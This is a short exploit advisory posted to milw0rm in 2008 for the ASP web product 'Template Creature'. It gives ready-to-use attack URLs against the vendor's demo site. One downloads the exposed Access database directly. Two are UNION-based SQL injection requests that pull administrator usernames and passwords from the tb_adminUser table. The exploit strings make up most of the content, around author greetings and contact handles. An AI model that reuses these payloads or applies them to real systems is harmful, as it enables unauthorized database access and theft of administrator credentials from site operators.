Template Creature (SQL/DD) Multiple Remote Vulnerabilities

[~] ASP Template Creature DD/SQL Multiple Remote Vuln. [~] [~] ---------------------------------------------------------- [~] Discovered By: ZoRLu msn: trt-turk@hotmail.com [~] [~] Home: www.z0rlu.blogspot.com [~] [~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( ( [~] ----------------------------------------------------------- exp for demo: ( DD ) http://demo.merlix.com/templatecreature/workDB/templatemonster.mdb exp for demo: ( sql inj ) user: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcUserName,3+from+tb_adminUser pass: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcPassword,3+from+tb_adminUser [~]---------------------------------------------------------------------- [~] Greetz tO: str0ke [~] [~] yildirimordulari.org & darkc0de.com [~] [~]---------------------------------------------------------------------- # milw0rm.com [2008-12-04]